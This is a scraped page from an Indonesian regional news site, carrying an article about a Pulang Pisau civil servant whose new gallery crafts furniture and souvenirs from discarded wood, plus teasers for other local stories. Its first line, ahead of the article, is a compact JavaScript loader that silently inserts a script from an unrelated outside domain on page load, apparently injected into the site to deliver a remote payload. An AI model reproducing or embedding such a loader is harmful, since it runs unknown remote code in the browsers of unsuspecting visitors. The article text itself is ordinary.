(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULANG PISAU, Keberadaan aneka kayu bekas melimpah yang tidak terpakai dan teronggok begitu saja di wilayah Pulang Pisau, rupanya memantik ide kreatif dari I Gusti Putu Donna Mahendra dan kawan-kawan menghasilkan karya seni tinggi bernilai ekonomi.
Melalui tangan dingin mereka, potongan pohon kayu bekas yang mulanya tidak bernilai sama sekali dibuat jadi aneka kerajinan tangan yang indah. Mulai dari jenis kayu sumpung, durian, cempedak, rambutan, duku, hingga potongan batang kelapa dijadikan buruan untuk diangkut ke bengkel mereka.
“Karya paling kecil yang kami buat yaitu asbak rokok, cobek, hiasan natal, bingkai foto, aneka pot bunga, hingga paling besar yang banyak dipesan itu aneka kursi dan meja tamu. Khusus meja dan kursi yang kita buat tidak sama antara satu dengan yang lain, karena mengikuti dasar kayu itu sendiri. Untuk jenis kerajinan yang dihasilkan dibanderol mulai puluhan ribu sampai jutaan rupiah, tergantung tingkat kesulitannya,†tutur pria kelahiran Palangkaraya 40 tahun silam ini.
Dijelaskan ASN yang bertugas sebagai Kasi Pemeliharaan Jalan dan Jembatan pada Dinas PUPR Pulpis ini, mengolah kayu bekas menjadi karya seni merupakan hobi sejak lama. Awalnya hanya sebatas hobi beberapa minggu terakhir baru mulai serius merintis sebagai usaha kerajinan seni di bengkel samping rumahnya di jalan Panunjung Tarung Gang Gereja Victoria II, bernama galeri “RAWA†singkatan dari Ratik Wara.
“Usia galeri Ratik Wara baru berumur dua pekan. Dengan 12 orang anggota, 7 pemburu kayu, 4 tukang pembuat karya dan yang menyusun potongan kayu. Tujuan galeri ini untuk merangkul pegawai honor yang punya hobi di bidang seni olahan kayu. Jika kerajinan yang dibuat laku, nanti hasilnya buat pekerja itu sendiri dan juga sedikit kas pemasukan untuk membesarkan galeri,†beber pria yang memiliki ayah dari Jembarana, Bali ini.
Setelah beberapa kerajinan laku dibeli oleh rekan-rekan Donna. Kini pesanan mulai berdatangan pemesan baik dari Pulpis sampai ada tawaran dari pemilik toko souvenir di Palangkaraya untuk dipamerkan di tempatnya. Dona pun berencana, pihaknya pun akan menjadikan sentra usaha industri kreatif.
“Sementara ini kita masih bekerja dengan peralatan manual dan memanfaatkan waktu kosong saja. Tapi kedepan memang akan lebih serius. Apalagi kita banyak belajar dan selalu mencari inspirasi dari berbagai karya di youtube. Sering juga kami berdiskusi dengan kawan-kawan pelaku seni kayu olahan, terutama meminta masukan tentang harga, cara mempertahan kualitas serta inspirasi lain dari keluarga di Bali yang juga pekerja seni,†ujar anak dari seorang ibu asli Kalteng ini. (sjy)
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.